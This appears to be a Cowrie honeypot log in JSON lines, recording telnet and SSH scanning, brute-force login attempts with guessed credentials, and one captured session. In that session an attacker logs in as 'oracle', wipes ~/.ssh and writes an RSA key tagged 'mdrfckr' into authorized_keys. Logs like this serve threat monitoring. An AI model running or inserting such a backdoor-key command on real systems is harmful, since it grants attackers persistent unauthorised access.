{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57288,"dst_ip":"159.203.135.109","dst_port":23,"session":"840bb25bd82a","protocol":"telnet","message":"New connection: 69.6.196.124:57288 (159.203.135.109:23) [session: 840bb25bd82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:44.733880Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57240,"dst_ip":"159.203.135.109","dst_port":23,"session":"f99f1972fa2f","protocol":"telnet","message":"New connection: 69.6.196.124:57240 (159.203.135.109:23) [session: f99f1972fa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:44.746433Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57244,"dst_ip":"159.203.135.109","dst_port":23,"session":"caeff249db47","protocol":"telnet","message":"New connection: 69.6.196.124:57244 (159.203.135.109:23) [session: caeff249db47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:44.811159Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40728,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a9d049a8700","protocol":"ssh","message":"New connection: 103.13.206.100:40728 (10.17.0.5:22) [session: 6a9d049a8700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.665771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.670436Z","src_ip":"103.13.206.100","session":"6a9d049a8700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.459527015686035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.711769Z","src_ip":"69.6.196.124","session":"3f347cd91d62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57302,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c869bf7121","protocol":"telnet","message":"New connection: 69.6.196.124:57302 (159.203.135.109:23) [session: 87c869bf7121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.807462Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57316,"dst_ip":"159.203.135.109","dst_port":23,"session":"b97cd5e4f54b","protocol":"telnet","message":"New connection: 69.6.196.124:57316 (159.203.135.109:23) [session: b97cd5e4f54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.868284Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.905265Z","src_ip":"103.13.206.100","session":"6a9d049a8700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.801259994506836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.923432Z","src_ip":"69.6.196.124","session":"24211765bedd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53091859817505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:45.961560Z","src_ip":"69.6.196.124","session":"a0e1bba6209b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04093098640442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.284628Z","src_ip":"69.6.196.124","session":"a16857520059","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722792387008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.296388Z","src_ip":"69.6.196.124","session":"2de54e01efd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1501944065094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.360346Z","src_ip":"69.6.196.124","session":"960608ef2fb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891250133514404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.374717Z","src_ip":"69.6.196.124","session":"6dc371c341c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57336,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cfd714b4940","protocol":"telnet","message":"New connection: 69.6.196.124:57336 (159.203.135.109:23) [session: 6cfd714b4940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.488808Z"}
{"eventid":"cowrie.session.closed","duration":30.67182493209839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.766923Z","src_ip":"69.6.196.124","session":"7e4bf58cf8f8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@@","message":"login attempt [root/admin123@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.924819Z","src_ip":"103.13.206.100","session":"6a9d049a8700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.998268365859985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:46.963540Z","src_ip":"69.6.196.124","session":"1e1690a2a498","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57356,"dst_ip":"159.203.135.109","dst_port":23,"session":"a73344111d75","protocol":"telnet","message":"New connection: 69.6.196.124:57356 (159.203.135.109:23) [session: a73344111d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.236374Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57326,"dst_ip":"159.203.135.109","dst_port":23,"session":"643c4dc426ea","protocol":"telnet","message":"New connection: 69.6.196.124:57326 (159.203.135.109:23) [session: 643c4dc426ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.276597Z"}
{"eventid":"cowrie.session.closed","duration":30.945806741714478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.354144Z","src_ip":"69.6.196.124","session":"4117b830e133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57364,"dst_ip":"159.203.135.109","dst_port":23,"session":"97fad81668b7","protocol":"telnet","message":"New connection: 69.6.196.124:57364 (159.203.135.109:23) [session: 97fad81668b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.464516Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":59040,"dst_ip":"10.17.0.5","dst_port":22,"session":"372c907d8017","protocol":"ssh","message":"New connection: 103.129.221.202:59040 (10.17.0.5:22) [session: 372c907d8017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.652694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.657431Z","src_ip":"103.129.221.202","session":"372c907d8017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57282,"dst_ip":"159.203.135.109","dst_port":23,"session":"4672e6546f0b","protocol":"telnet","message":"New connection: 69.6.196.124:57282 (159.203.135.109:23) [session: 4672e6546f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.662295Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57376,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3e3c827f932","protocol":"telnet","message":"New connection: 69.6.196.124:57376 (159.203.135.109:23) [session: f3e3c827f932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.858573Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:47.909430Z","src_ip":"103.129.221.202","session":"372c907d8017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.168282Z","src_ip":"103.13.206.100","session":"6a9d049a8700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57392,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d7d578b82e","protocol":"telnet","message":"New connection: 69.6.196.124:57392 (159.203.135.109:23) [session: e2d7d578b82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.213658Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57404,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2c7b6cce8a","protocol":"telnet","message":"New connection: 69.6.196.124:57404 (159.203.135.109:23) [session: 3d2c7b6cce8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.246727Z"}
{"eventid":"cowrie.session.closed","duration":30.218412399291992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.275283Z","src_ip":"69.6.196.124","session":"362fe318bb18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710039854049683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.305902Z","src_ip":"69.6.196.124","session":"84575cc0945d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619977951049805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.424505Z","src_ip":"69.6.196.124","session":"4486cf0b9ad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273146152496338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.487506Z","src_ip":"69.6.196.124","session":"e74a819b3c88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.214322566986084,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.932382Z","src_ip":"69.6.196.124","session":"404647633bcd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"userlog","password":"userlog123","message":"login attempt [userlog/userlog123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:48.958540Z","src_ip":"103.129.221.202","session":"372c907d8017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":38860,"dst_ip":"10.17.0.5","dst_port":22,"session":"6acef3796ddb","protocol":"ssh","message":"New connection: 201.184.50.251:38860 (10.17.0.5:22) [session: 6acef3796ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.020574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.025885Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.129788Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.54315972328186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.287947Z","src_ip":"69.6.196.124","session":"6bac1f5de5b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":48270,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd4e9ad932aa","protocol":"telnet","message":"New connection: 185.53.58.141:48270 (10.17.0.5:23) [session: fd4e9ad932aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.485996Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!","message":"login attempt [oracle/!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.576312Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57406,"dst_ip":"159.203.135.109","dst_port":23,"session":"c54a9f0579f4","protocol":"telnet","message":"New connection: 69.6.196.124:57406 (159.203.135.109:23) [session: c54a9f0579f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.612310Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.828752Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.832772Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.836547Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.355010509490967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.844801Z","src_ip":"69.6.196.124","session":"eb8621be1584","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.945440Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39348,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b3d239ebf6b","protocol":"telnet","message":"New connection: 69.6.196.124:39348 (159.203.135.109:23) [session: 1b3d239ebf6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:49.972913Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39354,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1ec47bc49e","protocol":"telnet","message":"New connection: 69.6.196.124:39354 (159.203.135.109:23) [session: 4e1ec47bc49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.124511Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.190099Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.193976Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57348,"dst_ip":"159.203.135.109","dst_port":23,"session":"01316488dd4f","protocol":"telnet","message":"New connection: 69.6.196.124:57348 (159.203.135.109:23) [session: 01316488dd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.204779Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.230077Z","src_ip":"103.129.221.202","session":"372c907d8017","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.305732Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.309273Z","src_ip":"201.184.50.251","session":"6acef3796ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":39220,"dst_ip":"10.17.0.5","dst_port":22,"session":"51823a1a82df","protocol":"ssh","message":"New connection: 201.184.50.251:39220 (10.17.0.5:22) [session: 51823a1a82df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.405358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.410141Z","src_ip":"201.184.50.251","session":"51823a1a82df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39392,"dst_ip":"159.203.135.109","dst_port":23,"session":"d67fe6b7bd77","protocol":"telnet","message":"New connection: 69.6.196.124:39392 (159.203.135.109:23) [session: d67fe6b7bd77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:50.417206Z"}
